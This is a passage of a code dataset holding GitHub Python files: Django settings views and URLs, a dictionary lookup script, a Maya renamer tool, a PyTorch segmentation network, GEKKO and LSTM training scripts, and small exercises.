en_data]\n","repo_name":"anhthyngo/nmt-vi-en","sub_path":"scripts/dataset_helper.py","file_name":"dataset_helper.py","file_ext":"py","file_size_in_byte":9170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31365322090","text":"from django.shortcuts import render,redirect, get_object_or_404\nfrom django.contrib.auth.decorators import permission_required\nfrom ..views import staff_member_required\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.template.response import TemplateResponse\nfrom core.models import SiteSettings\n\nfrom .forms import SiteForm, SiteSettingsForm\n\n# Create your views here.\n\n@staff_member_required\n@permission_required('core.manage_settings')\ndef index(request):\n    site = get_current_site(request)\n    site_settings = site.settings\n    print('sssssssssssssss')\n    return redirect('dashboard:settings-details', slug=site_settings.slug)\n\n\n@staff_member_required\n@permission_required('core.manage_settings')\ndef settings_details(request, slug):\n    site_settings = get_object_or_404(SiteSettings,slug=slug)\n    # Дополнить ключи авторизации\n    ctx = {\n        'site_settings' : site_settings,\n    }\n    return render(request, 'dashboard/settings/detail.html', ctx)\n\n\n@staff_member_required\n@permission_required('core.manage_settings')\ndef settings_edit(request, slug):\n    site_settings = get_object_or_404(SiteSettings,slug=slug)\n    site_form = SiteForm(request.POST or None, instance=site_settings.site)\n    site_settings_form = SiteSettingsForm(request.POST or None, instance=site_settings)\n    if request.POST:\n        if (site_form.has_changed() and site_form.is_valid()) or (site_settings_form.has_changed() and site_settings_form.is_valid()):\n            site_form.save()\n            site_settings_form.save()\n            return redirect('dashboard:settings-details', slug=site_settings.slug)\n    ctx = {\n        'site_settings' : site_settings,\n        'site_form' : site_form,\n        'site_settings_form' : site_settings_form\n    }\n    return TemplateResponse(request, 'dashboard/settings/form.html', ctx)\n","repo_name":"Dzambato/factory","sub_path":"dashboard/settings/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32562428673","text":"\nimport json\nfrom difflib import get_close_matches\n\ndata=json.load(open('data.json'))\ndef translate (g,word):\n    n=get_close_matches(word,data)[0]\n    #\n    # if word in n:\n    #     d=print('\\n you entered %s but if you mean %s then its meaning is :\\n '%g %n)\n    #     return data[n]\n    # else:\n    word=word.lower()\n        # return word\n\n    if word in data :\n       k=print('the meaning of %s is'%g)\n       return data[word]\n\n    elif len(get_close_matches(word,data))>0:\n         n=get_close_matches(word,data)[0]\n\n         k=input('did you mean %s ? \\nEnter \"Y\" if yes or \"N\" if NO?:'%n)\n\n         if k in [\"Y\",'y','YES','yes','yeah','yee']:\n            d=print('\\nif you mean %s then its meaning is :\\n '%n)\n            return data[n]\n\n         elif k in ['N','n','no','NO','no']:\n              # k=print('fuck you')\n              return 'ooh no that was not the meaning '\n         else:\n              return \"print something we understand dude\"\n\n    else:\n       #l=print('Yoo your crazy Bitch ')\n       return \"Yoo your crazy my guy please change what you wrote\"\n\n\ng=input(\"enter the word:\")\noutput=translate(g,g)\n\nif type(output)!=list:\n   print(output)\n\nelse:\n    for item in output:\n        print(item,'\\n')\n","repo_name":"muhidav/dictionary-application-python","sub_path":"dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"55665509716","text":"import maya.cmds as cmds\ndef applyExression():\n\n    selectedObj = cmds.ls(sl=1, l = 1)\n    \n    exp = cmds.textField('expressionFieldID', q = 1, text = 1)\n    \n    if '*' in exp:\n\n        for i in selectedObj:\n\n            objname = i.split('|')[-1]\n\n            newName = exp.replace('*', objname)\n\n            cmds.rename(i, newName)\n\n    cmds.textField('expressionFieldID', e = 1, text = '')\n\n\n\n\ndef main():\n    if cmds.window('MyWindow', exists = 1):\n        cmds.deleteUI('MyWindow')\n    \n    if cmds.windowPref('MyWindow', exists = 1):\n        cmds.windowPref('MyWindow', remove = 1)\n    \n    cmds.window('MyWindow', title = 'Universal Renamer 1.0', w = 250, h = 300)\n    \n    #--------------------------\n    \n    #--------------------------\n    \n    cmds.showWindow('MyWindow')\n\n    mainLayout = cmds.columnLayout(adj = True, rowSpacing = 15)\n\n    #Expression\n\n    expressionLayout = cmds.columnLayout(adj = True,\n                                         columnAlign = 'left', \n                                         co = ['both',10],\n                                         rowSpacing = 5,\n                                         statusBarMessage = 'Use * as an actual name',\n                                         parent = mainLayout)\n    cmds.text('Expression:', parent = expressionLayout)\n    expField = cmds.textField('expressionFieldID', placeholderText = '*', parent = expressionLayout)\n\n    # Objects name list\n    \n    scrollL = cmds.scrollLayout('scrollLayoutID',  childResizable = 1, parent = mainLayout)\n    colL = cmds.columnLayout(parent = scrollL, adj = True, rowSpacing = 1, co = ['both', 10])\n    \n    selectedObj = cmds.ls(sl=1, l = 1)\n    \n    for i in selectedObj:\n        #name = i.split('|')[-1]\n        cmds.nameField(o = i)\n    # Buttons\n    buttonLayout = cmds.columnLayout(parent = mainLayout, rowSpacing = 3, adj = 1)\n    cmds.button(label = 'Apply', command = 'applyExression()', parent = buttonLayout)\n    cmds.button(label = 'Cancel', command = 'cmds.deleteUI(\"MyWindow\")', parent = buttonLayout)\n    #-----------------------------------\n\n\nmain()","repo_name":"idushie/Animation-school","sub_path":"W_5/universal_renamer.py","file_name":"universal_renamer.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"22860973078","text":"# Adopted from https://github.com/Limingxing00/RDE-VOS-CVPR2022\n# under MIT License\n\nimport math\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom modelscope.models.cv.video_object_segmentation.modules import (\n    KeyEncoder, KeyProjection, MemCrompress, ResBlock, UpsampleBlock,\n    ValueEncoder, ValueEncoderSO)\n\n\nclass Decoder(nn.Module):\n\n    def __init__(self):\n        super().__init__()\n        self.compress = ResBlock(1024, 512)\n        self.up_16_8 = UpsampleBlock(512, 512, 256)  # 1/16 -> 1/8\n        self.up_8_4 = UpsampleBlock(256, 256, 256)  # 1/8 -> 1/4\n\n        self.pred = nn.Conv2d(\n            256, 1, kernel_size=(3, 3), padding=(1, 1), stride=1)\n\n    def forward(self, f16, f8, f4):\n        x = self.compress(f16)\n        x = self.up_16_8(f8, x)\n        x = self.up_8_4(f4, x)\n\n        x = self.pred(F.relu(x))\n\n        x = F.interpolate(\n            x, scale_factor=4, mode='bilinear', align_corners=False)\n        return x\n\n\nclass MemoryReader(nn.Module):\n\n    def __init__(self):\n        super().__init__()\n\n    def get_affinity(self, mk, qk):\n        B, CK, T, H, W = mk.shape\n        mk = mk.flatten(start_dim=2)\n        qk = qk.flatten(start_dim=2)\n\n        a = mk.pow(2).sum(1).unsqueeze(2)\n        b = 2 * (mk.transpose(1, 2) @ qk)\n        # this term will be cancelled out in the softmax\n        # c = qk.pow(2).sum(1).unsqueeze(1)\n\n        affinity = (-a + b) / math.sqrt(CK)  # B, THW, HW\n\n        # softmax operation; aligned the evaluation style\n        maxes = torch.max(affinity, dim=1, keepdim=True)[0]\n        x_exp = torch.exp(affinity - maxes)\n        x_exp_sum = torch.sum(x_exp, dim=1, keepdim=True)\n        affinity = x_exp / x_exp_sum\n\n        return affinity\n\n    def readout(self, affinity, mv, qv):\n        B, CV, T, H, W = mv.shape\n\n        mo = mv.view(B, CV, T * H * W)\n        mem = torch.bmm(mo, affinity)  # Weighted-sum B, CV, HW\n        mem = mem.view(B, CV, H, W)\n\n        mem_out = torch.cat([mem, qv], dim=1)\n\n        return mem_out\n\n\nclass RDE_VOS(nn.Module):\n\n    def __init__(self, single_object, repeat=0, norm=False):\n        super().__init__()\n        self.single_object = single_object\n\n        self.key_encoder = KeyEncoder()\n        if single_object:\n            self.value_encoder = ValueEncoderSO()\n        else:\n            self.value_encoder = ValueEncoder()\n            # Compress memory bank\n            self.mem_compress = MemCrompress(repeat=repeat, norm=norm)\n            # self.mem_compress.train(True)\n\n        # Projection from f16 feature space to key space\n        self.key_proj = KeyProjection(1024, keydim=64)\n\n        # Compress f16 a bit to use in decoding later on\n        self.key_comp = nn.Conv2d(1024, 512, kernel_size=3, padding=1)\n\n        self.memory = MemoryReader()\n        self.decoder = Decoder()\n\n    def aggregate(self, prob):\n        # During training, torch.prod work on channel dimension.\n        new_prob = torch.cat([torch.prod(1 - prob, dim=1, keepdim=True), prob],\n                             1).clamp(1e-7, 1 - 1e-7)\n        logits = torch.log((new_prob / (1 - new_prob)))\n        return logits\n\n    def encode_key(self, frame):\n        # input: b*t*c*h*w\n        b, t = frame.shape[:2]\n\n        f16, f8, f4 = self.key_encoder(frame.flatten(start_dim=0, end_dim=1))\n        k16 = self.key_proj(f16)\n        f16_thin = self.key_comp(f16)\n\n        # B*C*T*H*W\n        k16 = k16.view(b, t, *k16.shape[-3:]).transpose(1, 2).contiguous()\n\n        # B*T*C*H*W\n        f16_thin = f16_thin.view(b, t, *f16_thin.shape[-3:])\n        f16 = f16.view(b, t, *f16.shape[-3:])\n        f8 = f8.view(b, t, *f8.shape[-3:])\n        f4 = f4.view(b, t, *f4.shape[-3:])\n\n        return k16, f16_thin, f16, f8, f4\n\n    def encode_value(self, frame, kf16, mask, other_mask=None):\n        # Extract memory key/value for a frame\n        if self.single_object:\n            f16 = self.value_encoder(frame, kf16, mask)\n        else:\n            f16 = self.value_encoder(frame, kf16, mask, other_mask)\n        return f16.unsqueeze(2)  # B*512*T*H*W\n\n    def segment(self, qk16, qv16, qf8, qf4, mk16, mv16, selector=None):\n        # q - query, m - memory\n        # qv16 is f16_thin above\n        affinity = self.memory.get_affinity(mk16, qk16)\n\n        if self.single_object:\n            mv2qv = self.memory.readout(affinity, mv16, qv16)\n            logits = self.decoder(mv2qv, qf8, qf4)\n            prob = torch.sigmoid(logits)\n        else:\n            mv2qv_o1 = self.memory.readout(affinity, mv16[:, 0], qv16)\n            mv2qv_o2 = self.memory.readout(affinity, mv16[:, 1], qv16)\n            logits = torch.cat([\n                self.decoder(mv2qv_o1, qf8, qf4),\n                self.decoder(mv2qv_o2, qf8, qf4),\n            ], 1)\n\n            prob = torch.sigmoid(logits)\n            prob = prob * selector.unsqueeze(2).unsqueeze(2)\n\n        logits = self.aggregate(prob)\n        prob = F.softmax(logits, dim=1)[:, 1:]\n\n        if self.single_object:\n            return logits, prob, mv2qv\n        else:\n            return logits, prob, mv2qv_o1, mv2qv_o2\n\n    def memCrompress(self, key, value):\n        return self.mem_compress(key, value)\n\n    def forward(self, mode, *args, **kwargs):\n        if mode == 'encode_key':\n            return self.encode_key(*args, **kwargs)\n        elif mode == 'encode_value':\n            return self.encode_value(*args, **kwargs)\n        elif mode == 'segment':\n            return self.segment(*args, **kwargs)\n        elif mode == 'compress':\n            return self.memCrompress(*args, **kwargs)\n        else:\n            raise NotImplementedError\n","repo_name":"modelscope/modelscope","sub_path":"modelscope/models/cv/video_object_segmentation/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":5593,"program_lang":"python","lang":"en","doc_type":"code","stars":4825,"dataset":"github-code","pt":"16"}
+{"seq_id":"30886286796","text":"\nCSV_PATH = '/home/itsbarreto/csv/educacao/'\nARQ_PATH = CSV_PATH + 'dsc/'\nPATH_DF_CSV = CSV_PATH + 'mod/'\n\nANOS_PESQUISA = [2007,2009,2011,2013,2014,2015,2017]\n\nSG_CENTRO_OESTE = 'CO'\n\nCO_UF_DISTRITO_FEDERAL = 53\n\nCO_ENTIDADE_ESTADUAL = 2\n\nCO_CONTRATACAO_CONCURSO = 1\n","repo_name":"itsbarreto/educacao","sub_path":"raw_data/constantes.py","file_name":"constantes.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26147456360","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution:\n    def splitListToParts(self, head: Optional[ListNode], k: int) -> List[Optional[ListNode]]:\n        # find length of linked list\n        n = 0\n        cur = head\n        while cur:\n            n += 1\n            cur = cur.next\n\n        # find each segment's length\n        size = n//k\n        extra = n%k\n        \n        res = [None for _ in range(k)]\n        cur = head\n        for i in range(k):\n            dummy = ListNode(-1)\n            p = dummy\n            for _ in range(size):\n                p.next = cur\n                p = p.next\n                cur = cur.next\n            \n            if extra:\n                p.next = cur\n                p = p.next\n                cur = cur.next\n                extra -= 1\n            \n            p.next = None\n            res[i] = dummy.next\n\n        return res","repo_name":"Vergil0327/leetcode-history","sub_path":"Linked List/725. Split Linked List in Parts/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72587309449","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#%% import packages\nfrom gekko import GEKKO, Brain\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import stats\n\nshow = False\n\nexplicit=False\nbfgs=False\ndmax = 100\n\n#%% build GEKKO Brains\ndef build_brains():\n    ## Explicit network solutions\n \n    ## Implicit network solutions\n    b2 = Brain(remote=False,bfgs=bfgs,explicit=explicit)\n    \n    #input layer\n    b2.input_layer(4)\n    \n    #intermediate layers\n    b2.layer(2,0,2,2)\n    b2.layer(2,0,2,2)\n    #output layer\n    b2.output_layer(1)\n    \n    # extra options for this problem\n    for l in b2._weights:\n        for f in l:\n            f.DMAX= dmax\n    \n    return b2\n        \n#%% build controller to train network to\ndef build_controller():\n    c = GEKKO(remote=False)\n    \n    nt = 41\n    c.time = np.linspace(0,6,nt)\n    \n    Tc = c.MV(value=300)\n    \n    q = c.Param(value=100)\n    V = c.Param(value=100)\n    rho = c.Param(value=1000)\n    Cp = c.Param(value=0.239)\n    mdelH = c.Param(value=50000)\n    ER = c.Param(value=8000)\n    k0 = c.Param(value=7.2*10**8)\n    UA = c.Param(value=5*10**5)\n    Ca0 = c.Param(value=1)\n    T0 = c.Param(value=350)\n    \n    Ca = c.CV(value=.8, ub=1, lb=0)\n    T = c.CV(value=325,lb=250,ub=500)\n    \n    k = c.Var()\n    rate = c.Var()\n    \n    c.Equation(k==k0*c.exp(-ER/T))\n    c.Equation(rate==k*Ca)\n    \n    c.Equation(V* Ca.dt() == q*(Ca0-Ca)-V*rate)\n    c.Equation(rho*Cp*V* T.dt() == q*rho*Cp*(T0-T) + V*mdelH*rate + UA*(Tc-T))\n    \n    #Global options\n    c.options.IMODE = 6\n    c.options.NODES = 2\n    c.options.CV_TYPE = 2\n    c.options.MAX_ITER = 750\n    c.options.TIME_SHIFT = 0\n    \n    #MV tuning\n    Tc.STATUS = 1\n    Tc.DCOST = .01\n    #Tc.DMAX = 10\n    Tc.LOWER = 250\n    Tc.UPPER = 450\n    \n    #CV Tuning\n    Ca.STATUS = 1\n    Ca.TR_INIT = 0\n    Ca.TAU = 1\n    T.STATUS = 0\n    \n    return c, T, Tc, Ca\n\n\n#%% data set function\ndef build_data_set(n, c, T, Tc, Ca):\n    data_inputs = []\n    data_outputs = []\n    for _ in range(n):\n        ins = []\n        ins.append(np.random.randint(250,500)) #T\n        ins.append(np.random.randint(300,450)) #Tc\n        ins.append(np.random.rand(1)[0]) #Ca\n        ins.append(np.random.rand(1)[0]) #Ca SP\n        T.value = ins[0]\n        Tc.value = ins[1]\n        Ca.value = ins[2]\n        Ca.SP = ins[3]\n    \n        # Solve\n        c.solve(disp=False)\n        #print('STATUS '+str(c.options.APPSTATUS))\n        \n        #only store data if successful control\n        if c.options.APPSTATUS == 1:\n            data_inputs.append(ins)\n            data_outputs.append(Tc.NEWVAL)\n        \n        plot = False\n        if plot:\n            plt.figure()\n            plt.subplot(3,1,1)\n            plt.plot(c.time, Tc.value)\n            plt.ylabel('Tc')\n            plt.subplot(3,1,2)\n            plt.plot(c.time, T.value)\n            plt.ylabel('T')\n            plt.subplot(3,1,3)\n            plt.plot(c.time, Ca.value)\n            plt.plot(c.time, Ca.SP*np.ones(np.size(c.time)))\n            plt.ylabel('Ca')\n            plt.show()\n    \n    nd = len(data_outputs) #number of successful data points\n    x = np.atleast_2d(data_inputs).T\n    y = np.atleast_2d(data_outputs)\n\n    #save to file\n    np.savez('ANN_CSTR_data.npz',inputs=x,outputs=y)\n    \n    return x,y,nd\n\ndef load_data_set():\n    with np.load('ANN_CSTR_data.npz') as data:\n        x = data['inputs']\n        y = data['outputs']\n    nd = np.size(y)\n    return x,y,nd\n\ndef data_subset(nd,n,inputs,outputs):\n    i = np.random.randint(0,nd,n)\n    x = inputs[:,i]\n    y = outputs[:,i]\n    return x,y\n\n#%% parameters\nntl = 20 #number of training loops\nndts = 1000 #number of data sets in training \nndes = 2000 #number of data sets in evaluation \n\n#%% build GEKKO brains\nb2 = build_brains()\n\n#%% load dataset\ntry:\n    inputs, outputs, nd = load_data_set()\n    print('found data')\nexcept:\n    print('creating dataset')\n    c, T, Tc, Ca = build_controller()\n    inputs,outputs,nd = build_data_set(20000, c, T, Tc, Ca)\n    \n    \n#%% Training loop\npercent = 5\n\nprint(\"bfgs=\",bfgs)\nprint(\"explicit=\",explicit)\nprint(\"dmax=\",dmax)\n\nfor outer_loop in range(ntl):\n    \n    print('Outer loop number: '+str(outer_loop))\n\n    #build traning dataset\n    x,y = data_subset(nd,ndts,inputs,outputs)\n    #stochastic perterbation\n    #b2.shake(percent)\n    #train \n    b2.learn(x,y,disp=show)\n    \n    #evaluate\n    if b2.m.options.APPSTATUS == 1:\n        print(\"OK\")\n        print('obj: ',b2.m.options.OBJFCNVAL)\n    else:\n        print(\"uh oh\")\n        b2.shake(percent)\n    print('solve time: ',b2.m.options.SOLVETIME)\n        \n        \n#%% Evaluate\n#build evaluation test set\nx,y = data_subset(nd,ndes,inputs,outputs)\n\n#solve models on evaluation set\nyp = np.zeros(ndes)\nyp = b2.think(x)\n\n#%%\nplt.figure()\nplt.scatter(y[0],yp)\n\nslope, intercept, r_value, p_value, std_err = stats.linregress(y[0],yp)\nprint(\"r-squared:\", r_value**2)\nprint(\"||y-yp||inf = \",np.max(y-yp))","repo_name":"BYU-PRISM/GEKKO","sub_path":"examples/ANN_CSTR_control.py","file_name":"ANN_CSTR_control.py","file_ext":"py","file_size_in_byte":4916,"program_lang":"python","lang":"en","doc_type":"code","stars":498,"dataset":"github-code","pt":"16"}
+{"seq_id":"8781192966","text":"from .views import ProductPage, CategoryAllPage, CategoryPage, ProductPage24h, RegistrationForm, LoginForm, LogoutForm\nfrom django.conf.urls import include, url\n\nurlpatterns = [\n\n    url(r'^$', CategoryAllPage.as_view(), name = 'categoryall'),\n    url(r'^products24h/', ProductPage24h.as_view(), name = 'products24h'),\n    url(r'^registr/$', RegistrationForm.as_view()),\n    url(r'^login/$', LoginForm.as_view()),\n    url(r'^logout/$', LogoutForm.as_view()),\n    url(r'^([-\\w]+)/$', CategoryPage.as_view(), name = 'category'),\n    url(r'^(?P<test111>[-\\w]+)/(?P<slug>[-\\w]+)/$', ProductPage.as_view(), name = 'products'),\n\n]\n","repo_name":"volosovich/juniorproject","sub_path":"product/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9497408249","text":"import time\nprint (\"Time in secs since epoch i.e 1st Jan 1970\", time.time())\n\n# print (\"Gmtimeoutput:\", time.gmtime(60))\n\n# Current_time = time.ctime()\n# print (Current_time)\n# #OR\n# print (time.ctime(3655)) #This takes seconds as argument. If no argument is provided, it will calculate since epoch i.e it will show the current time.\n\nfor i in range(1,4):\n    # using sleep() to hault execution\n    time.sleep(3)\n    print(\"Iteration no.\", i)\n\n# print (time.localtime())\n# print (time.gmtime())\n# print (time.mktime(time.localtime()))\n# print (time.asctime())\n# print (time.ctime())","repo_name":"ShreyasAwankar/pythonPractice","sub_path":"TimeModule.py","file_name":"TimeModule.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26075219105","text":"from lstmModel import MusicLSTM\nimport torch.nn as nn\nimport pandas as pd\nimport numpy as np\nimport json\nimport torch\nfrom torch.utils.data import DataLoader, TensorDataset\nfrom sklearn.model_selection import KFold\nimport sys\n\n\n#fname = str(sys.argv[1])\nfname = \"metacritic_reviews\"\n#if we want to use standardized dataset or not\nstandardized = False\n\ndef scale(scores):\n    s_min = min(scores)\n    s_max = max(scores)\n    scaled = [( (((x-s_min)/(s_max-s_min))*(2)) -1) for x in scores]\n    return scaled\n\n#load reviews, scores, and encoding dict\nstd_str = \"Preprocessed\"\nif standardized:\n    std_str = \"Standardized\"\nwith open(\"obj/\" + fname + std_str +'Scores.json', \"r\") as fp:\n    scores = json.load(fp)\n    scores = scale(scores)\nwith open(\"obj/encoded\" + fname + 'Preprocessed.json', \"r\") as fp:\n    reviews = json.load(fp)\nwith open(\"obj/\" + fname + 'PreprocessedDict.json', \"r\") as fp:\n    review_dict = json.load(fp)\n\n#set hyperparameters\n#using basic hyperparameters for now, these will be optimized later\nvocab_size = len(review_dict)+1 # +1 accounts for the 0 padding \"word\"\noutput_size = 1\ninput_size = 400\nhidden_size = 256\nnum_rec_layers = 2\ndropout = 0.5\nlearning_rate = 0.001\nbatch_size = 10\nepochs = 9\nlin_layers = 2 #hackish but easier than reading number of layers from model\n\n\ndef residuals(output, targets):\n    targets = targets.tolist()\n    output = output.tolist()\n    differences = []\n\n    for i in range(len(output)):\n        difference = output[i] - targets[i]\n        differences.append(abs(difference))\n\n    return max(differences), min(differences)\n\n\n\n#loss function MSE\ndef MSE(yhat, y):\n    return torch.mean((yhat-y)**2)\n\ncriterion = MSE\n\n# check if CUDA is available\ntrain_on_gpu = torch.cuda.is_available()\ndevice = torch.device(\"cuda\" if train_on_gpu else \"cpu\")\n\ntrain_x = np.array(reviews)\ntrain_y = np.array(scores)\n\n#create k-folds and loop\nk = 5\nkfold = KFold(n_splits=k)\n\nfinal_val_losses = list()\n\nfor fold, (train_index, val_index) in enumerate(kfold.split(train_x, train_y)):\n    #initialize model\n    net = MusicLSTM(vocab_size, output_size, input_size, hidden_size, num_rec_layers, dropout)\n\n    #optmizer\n    optimizer = torch.optim.Adam(net.parameters(), lr=learning_rate)\n\n    #put into training mode\n    net.train()\n\n    #divide up folds\n    train_fold_x = train_x[train_index]\n    val_fold_x = train_x[val_index]\n    train_fold_y = train_y[train_index]\n    val_fold_y = train_y[val_index]\n\n    print(\"Fold: {}/{}...\".format(fold+1, k),\n        \"Validation set Std Dev.: {:.6f}...\".format(np.std(val_fold_y)))\n\n    #create tensors and dataloaders\n    train = TensorDataset(torch.FloatTensor(train_fold_x), torch.FloatTensor(train_fold_y))\n    validate = TensorDataset(torch.FloatTensor(val_fold_x), torch.FloatTensor(val_fold_y))\n    train_loader = DataLoader(train, batch_size = batch_size, shuffle = True, drop_last = True)\n    val_loader = DataLoader(validate, batch_size = batch_size, shuffle = True, drop_last = True)\n\n    step_counter = 0\n\n    printed_train_losses = list()\n    printed_train_maxes = list()\n    printed_train_mins = list()\n    printed_train_rmses = list()\n    printed_train_epochs = list()\n    printed_train_steps = list()\n    printed_val_losses = list()\n    printed_val_maxes = list()\n    printed_val_mins = list()\n        \n        \n    #epoch loop\n    for e in range(epochs):\n        print(\"Epoch: {}/{}...\".format(e+1, epochs))\n        #init zeroed hidden state\n        hidden = net.init_hidden_state(batch_size, train_on_gpu)\n\n        #batch loop\n        for inputs, targets in train_loader:\n            step_counter += 1\n\n            inputs = inputs.to(device).long()\n            targets = targets.to(device)\n\n            #create new hidden state variables\n            hidden = tuple([h.data for h in hidden])\n\n            #zero out gradients\n            net.zero_grad()\n\n            #get output of music lstm\n            output, hidden = net(inputs, hidden)\n            output = output.view(batch_size, -1)[:,-1]\n\n            #calculate loss and backwards propogate\n            loss = criterion(output, targets)\n            loss.backward()\n\n            #built-in function to help prevent the exploding gradient problem that is common in RNN's\n            nn.utils.clip_grad_norm_(net.parameters(), 5)\n\n            #update parameters\n            optimizer.step()\n\n\n\n            #calculate loss stats\n            if step_counter % 25 == 0: #currently lower print rate for testing (turn off for grid search)\n                rmse = np.sqrt(loss.item())\n                maxResidual, minResidual = residuals(output, targets)\n                print(\"Fold: {}/{}...\".format(fold+1, k),\n                      \"Epoch: {}/{}...\".format(e+1, epochs),\n                      \"Step: {}...\".format(step_counter),\n                      \"Loss: {:.6f}...\".format(loss.item()),\n                      \"RMSE: {:.6f}...\".format(rmse))\n                      #Residuals dont give much relevant information\n                      #\"Max Residual: {:.6f}...\".format(maxResidual),\n                      #\"Min Residual: {:.6f}...\".format(minResidual))\n\n                if(fold + 1 == 2):\n                    printed_train_losses.append(loss.item())\n                    printed_train_rmses.append(rmse)\n                    #printed_train_maxes.append(maxResidual)\n                    #printed_train_mins.append(minResidual)\n                    printed_train_steps.append(step_counter)\n                    printed_train_epochs.append(e+1)\n\n\n        #calculate validation loss\n        #first init a new zeroed hidden state\n        val_hidden = net.init_hidden_state(batch_size, train_on_gpu)\n        val_losses = list()\n        maxFinal = 0\n        minFinal = 10\n\n        with torch.no_grad():\n            net.eval() #put net in eval mode so it doesnt learn from the validation data\n            for inputs, targets in val_loader:\n\n                inputs = inputs.to(device).long()\n                targets = targets.to(device)\n\n                #create new hidden state variables\n                val_hidden = tuple([h.data for h in val_hidden])\n\n                #get output and then calculate loss\n                output, val_hidden = net(inputs, val_hidden)\n                output = output.view(batch_size, -1)[:,-1]\n                val_loss = criterion(output, targets)\n\n                val_losses.append(val_loss.item())\n\n                maxResidualVal, minResidualVal = residuals(output, targets)\n\n                if minFinal > minResidualVal:\n                    minFinal = minResidualVal\n\n                elif maxFinal< maxResidualVal:\n                    maxFinal = maxResidualVal\n                    \n\n            val_loss = np.mean(val_losses)\n            val_rmse = np.sqrt(val_loss)\n            net.train() #set back to training mode\n\n            print(\"Epoch: {}/{}...\".format(e+1, epochs),\n                  \"Val Loss: {:.6f}...\".format(val_loss),\n                  \"Val RMSE: {}...\".format(val_rmse))\n                  #\"Max Val Residual: {:.6f}...\".format(maxFinal),\n                  #\"Min Val Residual: {:.6f}...\".format(minFinal))\n\n            if(fold + 1 == 2):\n                printed_val_losses.append(val_loss)\n                #printed_val_maxes.append(maxFinal)\n                #printed_val_mins.append(minFinal)\n\n    #dump val losses, val rmses, and residues for \"zoom in\" on fold       \n    if(fold + 1 == 2):\n        printed_val_rmses = [np.sqrt(x) for x in printed_val_losses]\n        with open(\"obj/\" + fname + \"ValLosses.json\", \"w\") as fp:\n            json.dump(printed_val_losses, fp)\n        with open(\"obj/\" + fname + \"ValRMSEs.json\", \"w\") as fp:\n            json.dump(printed_val_losses, fp)\n        #with open(\"obj/\" + fname + \"ValMaxRes.json\", \"w\") as fp:\n        #   json.dump(printed_val_maxes, fp)\n        #with open(\"obj/\" + fname + \"ValMinRes.json\", \"w\") as fp:\n        #   json.dump(printed_val_mins, fp)\n        with open(\"obj/\" + fname + \"TrainLosses.json\", \"w\") as fp:\n            json.dump(printed_train_losses, fp)\n        with open(\"obj/\" + fname + \"TrainRMSEs.json\", \"w\") as fp:\n            json.dump(printed_train_losses, fp)\n        #with open(\"obj/\" + fname + \"TrainMaxRes.json\", \"w\") as fp:\n        #   json.dump(printed_train_maxes, fp)\n        #with open(\"obj/\" + fname + \"TrainMinRes.json\", \"w\") as fp:\n        #   json.dump(printed_train_mins, fp)\n        with open(\"obj/\" + fname + \"TrainBatchSteps.json\", \"w\") as fp:\n            json.dump(printed_train_steps, fp)\n        with open(\"obj/\" + fname + \"TrainEpochs.json\", \"w\") as fp:\n            json.dump(printed_train_epochs, fp)\n                \n    final_val_losses.append(val_loss)\n\n#print out final validation stats (averages over cross validation)\nprint(\"Final validation stats after cross validation is done\")\nprint(\"Learning Rate: {:.6f}...\".format(learning_rate))\nprint(\"Number of Epochs: {:.6f}...\".format(epochs))\nprint(\"Batch size: {:.6f}...\".format(batch_size))\nprint(\"Number of LSTM Layers: {:.6f}...\".format(num_rec_layers))\nprint(\"Number of Linear/Dense Layers: {:.6f}...\".format(lin_layers))\nprint(\"Val Loss: {:.6f}...\".format(np.mean(final_val_losses)))\nprint(\"Val RMSE: {:.6f}...\".format(np.sqrt(np.mean(final_val_losses))))\nprint(\"Standard Error: {:.6f}\".format((np.std(final_val_losses))/(np.sqrt(k))))\n\n\n","repo_name":"bloomga/music-review-net","sub_path":"src/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":9276,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"39639775628","text":"\ngeral = []\n\nwhile True:\n    estudante = []\n    notas = []\n    med = []\n\n    estudante.append(input('Nome do aluno: ').strip())\n    notas.append(float(input('Nota 01: ')))\n    notas.append(float(input('Nota 02: ')))\n    estudante.append(notas[:])\n    med.append(sum(notas) / 2)\n    estudante.append(med)\n    geral.append(estudante[:])\n\n    del notas, estudante, med\n    while True:\n        menu = input('Quer continuar [S/N] ? ').strip().upper()\n        if menu in 'SN':\n            break\n    if menu == 'N':\n        break\n\nprint('No. Nome   Média')\nfor c in range(0,len(geral)):\n    print(c,   geral[c][0],   geral[c][2])\n\nwhile True:\n    aluno = int(input('[999] Para encerrar. \\nDeseja ver a nota de qual aluno [No.]: '))\n    if aluno == 999:\n        break\n    print(f'As notas de {geral[aluno][0]} são: {geral[aluno][1]}')\n","repo_name":"KaioVinicios/CeV_Python","sub_path":"Python/Mundo 